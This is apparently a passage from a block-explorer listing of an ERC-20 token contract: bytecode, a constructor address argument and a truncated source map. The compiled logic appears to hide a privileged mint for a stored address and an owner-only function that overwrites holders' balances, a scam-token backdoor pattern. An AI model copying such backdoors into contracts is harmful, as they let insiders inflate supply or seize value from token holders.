152611909816116ce565b9050919050565b6000602082019050818103600083015261192981611734565b9050919050565b6000602082019050611945600083018461179a565b92915050565b6000604082019050611960600083018561179a565b61196d602083018461179a565b9392505050565b600060208201905061198960008301846117a9565b92915050565b6000604051905081810181811067ffffffffffffffff821117156119b6576119b5611d8a565b5b8060405250919050565b600067ffffffffffffffff8211156119db576119da611d8a565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611a1382611c67565b9150611a1e83611c67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a5357611a52611d2c565b5b828201905092915050565b6000808291508390505b6001851115611aa857808604811115611a8457611a83611d2c565b5b6001851615611a935780820291505b8081029050611aa185611dca565b9450611a68565b94509492505050565b6000611abc82611c67565b9150611ac783611c71565b9250611af47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611afc565b905092915050565b600082611b0c5760019050611bc8565b81611b1a5760009050611bc8565b8160018114611b305760028114611b3a57611b69565b6001915050611bc8565b60ff841115611b4c57611b4b611d2c565b5b8360020a915084821115611b6357611b62611d2c565b5b50611bc8565b5060208310610133831016604e8410600b8410161715611b9e5782820a905083811115611b9957611b98611d2c565b5b611bc8565b611bab8484846001611a5e565b92509050818404811115611bc257611bc1611d2c565b5b81810290505b9392505050565b6000611bda82611c67565b9150611be583611c67565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c1e57611c1d611d2c565b5b828202905092915050565b6000611c3482611c47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611c9c578082015181840152602081019050611c81565b83811115611cab576000848401525b50505050565b60006002820490506001821680611cc957607f821691505b60208210811415611cdd57611cdc611d5b565b5b50919050565b6000611cee82611c67565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611d2157611d20611d2c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b611de081611c29565b8114611deb57600080fd5b50565b611df781611c67565b8114611e0257600080fd5b5056fea26469706673582212207f3b74d09bac47a1076b2b7fcf02c81e70ce362e7bc477bd05332b30f9ae048764736f6c63430008000033000000000000000000000000d408df8a463aad94bbe3e4f8070116b453f2b666

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d7146102aa578063a9059cbb146102da578063dd62ed3e1461030a578063fb86a4041461033a578063fc7bd038146103585761010b565b806370a0823114610234578063880ad0af146102645780638da5cb5b1461026e57806395d89b411461028c5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca5780634a8d1348146101fa578063671f3db8146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610374565b60405161012591906117ee565b60405180910390f35b61014860048036038101906101439190611340565b610406565b60405161015591906117d3565b60405180910390f35b610166610424565b6040516101739190611930565b60405180910390f35b610196600480360381019061019191906112f1565b61042e565b6040516101a391906117d3565b60405180910390f35b6101b4610526565b6040516101c19190611974565b60405180910390f35b6101e460048036038101906101df9190611340565b61052f565b6040516101f191906117d3565b60405180910390f35b6102026105db565b60405161020f91906117b8565b60405180910390f35b610232600480360381019061022d91906113d0565b610605565b005b61024e6004803603810190610249919061128c565b610799565b60405161025b9190611930565b60405180910390f35b61026c6107e2565b005b61027661091e565b60405161028391906117b8565b60405180910390f35b610294610947565b6040516102a191906117ee565b60405180910390f35b6102c460048036038101906102bf9190611340565b6109d9565b6040516102d191906117d3565b60405180910390f35b6102f460048036038101906102ef9190611340565b610ac4565b60405161030191906117d3565b60405180910390f35b610324600480360381019061031f91906112b5565b610ae2565b6040516103319190611930565b60405180910390f35b610342610b69565b60405161034f9190611930565b60405180910390f35b610372600480360381019061036d919061137c565b610b89565b005b60606004805461038390611cb1565b80601f01602080910402602001604051908101604052809291908181526020018280546103af90611cb1565b80156103fc5780601f106103d1576101008083540402835291602001916103fc565b820191906000526020600020905b8154815290600101906020018083116103df57829003601f168201915b5050505050905090565b600061041a610413610d48565b8484610d50565b6001905092915050565b6000600354905090565b600061043b848484610f1b565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fd90611890565b60405180910390fd5b61051a85610512610d48565b858403610d50565b60019150509392505050565b60006012905090565b60006105d161053c610d48565b84846002600061054a610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cc9190611a08565b610d50565b6001905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61060d610d48565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156107955760006012600a6106729190611ab1565b6305f5e1006106819190611bcf565b90506000612710826106939190611bcf565b90506000600180600180856106a89190611bcf565b6106b29190611bcf565b6106bc9190611bcf565b6106c69190611bcf565b905083816106d49190611bcf565b905080600160006106e3610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461072c9190611a08565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078d57600080fd5b505050610796565b5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ea610d48565b73ffffffffffffffffffffffffffffffffffffffff1661080861091e565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610855906118b0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461095690611cb1565b80601f016020809104026020016040519081016040528092919081815260200182805461098290611cb1565b80156109cf5780601f106109a4576101008083540402835291602001916109cf565b820191906000526020600020905b8154815290600101906020018083116109b257829003601f168201915b5050505050905090565b600080600260006109e8610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9c90611910565b60405180910390fd5b610ab9610ab0610d48565b85858403610d50565b600191505092915050565b6000610ad8610ad1610d48565b8484610f1b565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6012600a610b779190611ab1565b633b9aca00610b869190611bcf565b81565b610b91610d48565b73ffffffffffffffffffffffffffffffffffffffff16610baf61091e565b73ffffffffffffffffffffffffffffffffffffffff1614610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc906118b0565b60405180910390fd5b60005b8251811015610d43576000838281518110610c4c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd551363168ce4784e28e5d59fc07cbea2191657416e05f6e8cd8f1086eb91e6d8286604051610d2692919061194b565b60405180910390a250508080610d3b90611ce3565b915050610c08565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db7906118f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2790611830565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0e9190611930565b60405180910390a3505050565b60008111610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590611870565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc5906118d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103590611810565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bc90611850565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461115a9190611a08565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111be9190611930565b60405180910390a350505050565b60006111df6111da846119c0565b61198f565b905080838252602082019050828560208602820111156111fe57600080fd5b60005b8581101561122e57816112148882611238565b845260208401935060208301925050600181019050611201565b5050509392505050565b60008135905061124781611dd7565b92915050565b600082601f83011261125e57600080fd5b813561126e8482602086016111cc565b91505092915050565b60008135905061128681611dee565b92915050565b60006020828403121561129e57600080fd5b60006112ac84828501611238565b91505092915050565b600080604083850312156112c857600080fd5b60006112d685828601611238565b92505060206112e785828601611238565b9150509250929050565b60008060006060848603121561130657600080fd5b600061131486828701611238565b935050602061132586828701611238565b925050604061133686828701611277565b9150509250925092565b6000806040838503121561135357600080fd5b600061136185828601611238565b925050602061137285828601611277565b9150509250929050565b6000806040838503121561138f57600080fd5b600083013567ffffffffffffffff8111156113a957600080fd5b6113b58582860161124d565b92505060206113c685828601611277565b9150509250929050565b6000602082840312156113e257600080fd5b60006113f084828501611277565b91505092915050565b61140281611c29565b82525050565b61141181611c3b565b82525050565b6000611422826119ec565b61142c81856119f7565b935061143c818560208601611c7e565b61144581611db9565b840191505092915050565b600061145d6023836119f7565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114c36022836119f7565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115296026836119f7565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061158f601b836119f7565b91507f45524332303a207472616e7366657220616d6f756e74207a65726f00000000006000830152602082019050919050565b60006115cf6028836119f7565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116356020836119f7565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006116756025836119f7565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116db6024836119f7565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117416025836119f7565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6117a381611c67565b82525050565b6117b281611c71565b82525050565b60006020820190506117cd60008301846113f9565b92915050565b60006020820190506117e86000830184611408565b92915050565b600060208201905081810360008301526118088184611417565b905092915050565b6000602082019050818103600083015261182981611450565b9050919050565b60006020820190508181036000830152611849816114b6565b9050919050565b600060208201905081810360008301526118698161151c565b9050919050565b6000602082019050818103600083015261188981611582565b9050919050565b600060208201905081810360008301526118a9816115c2565b9050919050565b600060208201905081810360008301526118c981611628565b9050919050565b600060208201905081810360008301526118e981611668565b9050919050565b60006020820190508181036000830152611909816116ce565b9050919050565b6000602082019050818103600083015261192981611734565b9050919050565b6000602082019050611945600083018461179a565b92915050565b6000604082019050611960600083018561179a565b61196d602083018461179a565b9392505050565b600060208201905061198960008301846117a9565b92915050565b6000604051905081810181811067ffffffffffffffff821117156119b6576119b5611d8a565b5b8060405250919050565b600067ffffffffffffffff8211156119db576119da611d8a565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611a1382611c67565b9150611a1e83611c67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a5357611a52611d2c565b5b828201905092915050565b6000808291508390505b6001851115611aa857808604811115611a8457611a83611d2c565b5b6001851615611a935780820291505b8081029050611aa185611dca565b9450611a68565b94509492505050565b6000611abc82611c67565b9150611ac783611c71565b9250611af47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611afc565b905092915050565b600082611b0c5760019050611bc8565b81611b1a5760009050611bc8565b8160018114611b305760028114611b3a57611b69565b6001915050611bc8565b60ff841115611b4c57611b4b611d2c565b5b8360020a915084821115611b6357611b62611d2c565b5b50611bc8565b5060208310610133831016604e8410600b8410161715611b9e5782820a905083811115611b9957611b98611d2c565b5b611bc8565b611bab8484846001611a5e565b92509050818404811115611bc257611bc1611d2c565b5b81810290505b9392505050565b6000611bda82611c67565b9150611be583611c67565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c1e57611c1d611d2c565b5b828202905092915050565b6000611c3482611c47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611c9c578082015181840152602081019050611c81565b83811115611cab576000848401525b50505050565b60006002820490506001821680611cc957607f821691505b60208210811415611cdd57611cdc611d5b565b5b50919050565b6000611cee82611c67565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611d2157611d20611d2c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b611de081611c29565b8114611deb57600080fd5b50565b611df781611c67565b8114611e0257600080fd5b5056fea26469706673582212207f3b74d09bac47a1076b2b7fcf02c81e70ce362e7bc477bd05332b30f9ae048764736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000d408df8a463aad94bbe3e4f8070116b453f2b666

-----Decoded View---------------
Arg [0] : ads (address): 0xd408DF8a463Aad94BBe3E4F8070116B453f2b666

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000d408df8a463aad94bbe3e4f8070116b453f2b666


Deployed Bytecode Sourcemap

6853:8536:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8468:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10861:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9131:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11385:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8919:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12261:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7445:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7540:393;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9429:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5887:230;;;:::i;:::-;;6198:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8681:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12818:460;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9866:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10368:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7215:67;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8027:332;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8468:100;8522:13;8555:5;8548:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8468:100;:::o;10861:184::-;10964:4;10981:34;10990:12;:10;:12::i;:::-;11004:2;11008:6;10981:8;:34::i;:::-;11033:4;11026:11;;10861:184;;;;:::o;9131:108::-;9192:7;9219:12;;9212:19;;9131:108;:::o;11385:529::-;11525:4;11542:36;11552:6;11560:9;11571:6;11542:9;:36::i;:::-;11591:24;11618:11;:19;11630:6;11618:19;;;;;;;;;;;;;;;:33;11638:12;:10;:12::i;:::-;11618:33;;;;;;;;;;;;;;;;11591:60;;11704:6;11684:16;:26;;11662:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;11814:57;11823:6;11831:12;:10;:12::i;:::-;11864:6;11845:16;:25;11814:8;:57::i;:::-;11902:4;11895:11;;;11385:529;;;;;:::o;8919:100::-;8977:5;7206:2;8995:16;;8919:100;:::o;12261:225::-;12369:4;12386:70;12395:12;:10;:12::i;:::-;12409:2;12445:10;12413:11;:25;12425:12;:10;:12::i;:::-;12413:25;;;;;;;;;;;;;;;:29;12439:2;12413:29;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;12386:8;:70::i;:::-;12474:4;12467:11;;12261:225;;;;:::o;7445:87::-;7484:7;7511:13;;;;;;;;;;;7504:20;;7445:87;:::o;7540:393::-;7613:12;:10;:12::i;:::-;7596:29;;:13;;;;;;;;;;;:29;;;7593:333;;;7641:12;7206:2;7666;:13;;;;:::i;:::-;7656:9;:23;;;;:::i;:::-;7641:38;;7694:15;7717:5;7712:4;:10;;;;:::i;:::-;7694:28;;7737:9;7763:1;7761;7759;7757;7749:7;:9;;;;:::i;:::-;:11;;;;:::i;:::-;:13;;;;:::i;:::-;:15;;;;:::i;:::-;7737:27;;7793:6;7786:4;:13;;;;:::i;:::-;7779:20;;7841:4;7814:9;:23;7824:12;:10;:12::i;:::-;7814:23;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;7885:10;7868:27;;:13;;;;;;;;;;;:27;;;7860:36;;;;;;7593:333;;;;;;;7540:393;:::o;9429:143::-;9519:7;9546:9;:18;9556:7;9546:18;;;;;;;;;;;;;;;;9539:25;;9429:143;;;:::o;5887:230::-;5472:12;:10;:12::i;:::-;5461:23;;:7;:5;:7::i;:::-;:23;;;5453:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5994:42:::1;5957:81;;5978:6;::::0;::::1;;;;;;;;5957:81;;;;;;;;;;;;6066:42;6049:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;5887:230::o:0;6198:87::-;6244:7;6271:6;;;;;;;;;;;6264:13;;6198:87;:::o;8681:104::-;8737:13;8770:7;8763:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8681:104;:::o;12818:460::-;12931:4;12948:24;12975:11;:25;12987:12;:10;:12::i;:::-;12975:25;;;;;;;;;;;;;;;:29;13001:2;12975:29;;;;;;;;;;;;;;;;12948:56;;13057:15;13037:16;:35;;13015:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;13173:62;13182:12;:10;:12::i;:::-;13196:2;13219:15;13200:16;:34;13173:8;:62::i;:::-;13266:4;13259:11;;;12818:460;;;;:::o;9866:200::-;9977:4;9994:42;10004:12;:10;:12::i;:::-;10018:9;10029:6;9994:9;:42::i;:::-;10054:4;10047:11;;9866:200;;;;:::o;10368:164::-;10476:7;10503:11;:17;10515:4;10503:17;;;;;;;;;;;;;;;:21;10521:2;10503:21;;;;;;;;;;;;;;;;10496:28;;10368:164;;;;:::o;7215:67::-;7206:2;7266;:15;;;;:::i;:::-;7249:13;:33;;;;:::i;:::-;7215:67;:::o;8027:332::-;5472:12;:10;:12::i;:::-;5461:23;;:7;:5;:7::i;:::-;:23;;;5453:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8118:9:::1;8113:239;8137:8;:15;8133:1;:19;8113:239;;;8170:15;8188:8;8197:1;8188:11;;;;;;;;;;;;;;;;;;;;;;8170:29;;8210:17;8230:9;:18;8240:7;8230:18;;;;;;;;;;;;;;;;8210:38;;8280:6;8259:9;:18;8269:7;8259:18;;;;;;;;;;;;;;;:27;;;;8313:7;8302:38;;;8322:9;8333:6;8302:38;;;;;;;:::i;:::-;;;;;;;;8113:239;;8154:3;;;;;:::i;:::-;;;;8113:239;;;;8027:332:::0;;:::o;4251:98::-;4304:7;4331:10;4324:17;;4251:98;:::o;15030:356::-;15176:1;15160:18;;:4;:18;;;;15152:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15252:1;15238:16;;:2;:16;;;;15230:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;15330:6;15306:11;:17;15318:4;15306:17;;;;;;;;;;;;;;;:21;15324:2;15306:21;;;;;;;;;;;;;;;:30;;;;15367:2;15352:26;;15361:4;15352:26;;;15371:6;15352:26;;;;;;:::i;:::-;;;;;;;;15030:356;;;:::o;13548:712::-;13697:1;13688:6;:10;13680:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;13767:1;13749:20;;:6;:20;;;;13741:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13851:1;13830:23;;:9;:23;;;;13822:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13906:21;13930:9;:17;13940:6;13930:17;;;;;;;;;;;;;;;;13906:41;;13997:6;13980:13;:23;;13958:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;14141:6;14125:13;:22;14105:9;:17;14115:6;14105:17;;;;;;;;;;;;;;;:42;;;;14193:6;14169:9;:20;14179:9;14169:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;14234:9;14217:35;;14226:6;14217:35;;;14245:6;14217:35;;;;;;:::i;:::-;;;;;;;;13548:712;;;;:::o;24:622:1:-;;145:80;160:64;217:6;160:64;:::i;:::-;145:80;:::i;:::-;136:89;;245:5;273:6;266:5;259:21;299:4;292:5;288:16;281:23;;324:6;374:3;366:4;358:6;354:17;349:3;345:27;342:36;339:2;;;391:1;388;381:12;339:2;419:1;404:236;429:6;426:1;423:13;404:236;;;496:3;524:37;557:3;545:10;524:37;:::i;:::-;519:3;512:50;591:4;586:3;582:14;575:21;;625:4;620:3;616:14;609:21;;464:176;451:1;448;444:9;439:14;;404:236;;;408:14;126:520;;;;;;;:::o;652:139::-;;736:6;723:20;714:29;;752:33;779:5;752:33;:::i;:::-;704:87;;;;:::o;814:303::-;;934:3;927:4;919:6;915:17;911:27;901:2;;952:1;949;942:12;901:2;992:6;979:20;1017:94;1107:3;1099:6;1092:4;1084:6;1080:17;1017:94;:::i;:::-;1008:103;;891:226;;;;;:::o;1123:139::-;;1207:6;1194:20;1185:29;;1223:33;1250:5;1223:33;:::i;:::-;1175:87;;;;:::o;1268:262::-;;1376:2;1364:9;1355:7;1351:23;1347:32;1344:2;;;1392:1;1389;1382:12;1344:2;1435:1;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1406:117;1334:196;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:552::-;;;;2091:2;2079:9;2070:7;2066:23;2062:32;2059:2;;;2107:1;2104;2097:12;2059:2;2150:1;2175:53;2220:7;2211:6;2200:9;2196:22;2175:53;:::i;:::-;2165:63;;2121:117;2277:2;2303:53;2348:7;2339:6;2328:9;2324:22;2303:53;:::i;:::-;2293:63;;2248:118;2405:2;2431:53;2476:7;2467:6;2456:9;2452:22;2431:53;:::i;:::-;2421:63;;2376:118;2049:452;;;;;:::o;2507:407::-;;;2632:2;2620:9;2611:7;2607:23;2603:32;2600:2;;;2648:1;2645;2638:12;2600:2;2691:1;2716:53;2761:7;2752:6;2741:9;2737:22;2716:53;:::i;:::-;2706:63;;2662:117;2818:2;2844:53;2889:7;2880:6;2869:9;2865:22;2844:53;:::i;:::-;2834:63;;2789:118;2590:324;;;;;:::o;2920:550::-;;;3070:2;3058:9;3049:7;3045:23;3041:32;3038:2;;;3086:1;3083;3076:12;3038:2;3157:1;3146:9;3142:17;3129:31;3187:18;3179:6;3176:30;3173:2;;;3219:1;3216;3209:12;3173:2;3247:78;3317:7;3308:6;3297:9;3293:22;3247:78;:::i;:::-;3237:88;;3100:235;3374:2;3400:53;3445:7;3436:6;3425:9;3421:22;3400:53;:::i;:::-;3390:63;;3345:118;3028:442;;;;;:::o;3476:262::-;;3584:2;3572:9;3563:7;3559:23;3555:32;3552:2;;;3600:1;3597;3590:12;3552:2;3643:1;3668:53;3713:7;3704:6;3693:9;3689:22;3668:53;:::i;:::-;3658:63;;3614:117;3542:196;;;;:::o;3744:118::-;3831:24;3849:5;3831:24;:::i;:::-;3826:3;3819:37;3809:53;;:::o;3868:109::-;3949:21;3964:5;3949:21;:::i;:::-;3944:3;3937:34;3927:50;;:::o;3983:364::-;;4099:39;4132:5;4099:39;:::i;:::-;4154:71;4218:6;4213:3;4154:71;:::i;:::-;4147:78;;4234:52;4279:6;4274:3;4267:4;4260:5;4256:16;4234:52;:::i;:::-;4311:29;4333:6;4311:29;:::i;:::-;4306:3;4302:39;4295:46;;4075:272;;;;;:::o;4353:367::-;;4516:67;4580:2;4575:3;4516:67;:::i;:::-;4509:74;;4613:34;4609:1;4604:3;4600:11;4593:55;4679:5;4674:2;4669:3;4665:12;4658:27;4711:2;4706:3;4702:12;4695:19;;4499:221;;;:::o;4726:366::-;;4889:67;4953:2;4948:3;4889:67;:::i;:::-;4882:74;;4986:34;4982:1;4977:3;4973:11;4966:55;5052:4;5047:2;5042:3;5038:12;5031:26;5083:2;5078:3;5074:12;5067:19;;4872:220;;;:::o;5098:370::-;;5261:67;5325:2;5320:3;5261:67;:::i;:::-;5254:74;;5358:34;5354:1;5349:3;5345:11;5338:55;5424:8;5419:2;5414:3;5410:12;5403:30;5459:2;5454:3;5450:12;5443:19;;5244:224;;;:::o;5474:325::-;;5637:67;5701:2;5696:3;5637:67;:::i;:::-;5630:74;;5734:29;5730:1;5725:3;5721:11;5714:50;5790:2;5785:3;5781:12;5774:19;;5620:179;;;:::o;5805:372::-;;5968:67;6032:2;6027:3;5968:67;:::i;:::-;5961:74;;6065:34;6061:1;6056:3;6052:11;6045:55;6131:10;6126:2;6121:3;6117:12;6110:32;6168:2;6163:3;6159:12;6152:19;;5951:226;;;:::o;6183:330::-;;6346:67;6410:2;6405:3;6346:67;:::i;:::-;6339:74;;6443:34;6439:1;6434:3;6430:11;6423:55;6504:2;6499:3;6495:12;6488:19;;6329:184;;;:::o;6519:369::-;;6682:67;6746:2;6741:3;6682:67;:::i;:::-;6675:74;;6779:34;6775:1;6770:3;6766:11;6759:55;6845:7;6840:2;6835:3;6831:12;6824:29;6879:2;6874:3;6870:12;6863:19;;6665:223;;;:::o;6894:368::-;;7057:67;7121:2;7116:3;7057:67;:::i;:::-;7050:74;;7154:34;7150:1;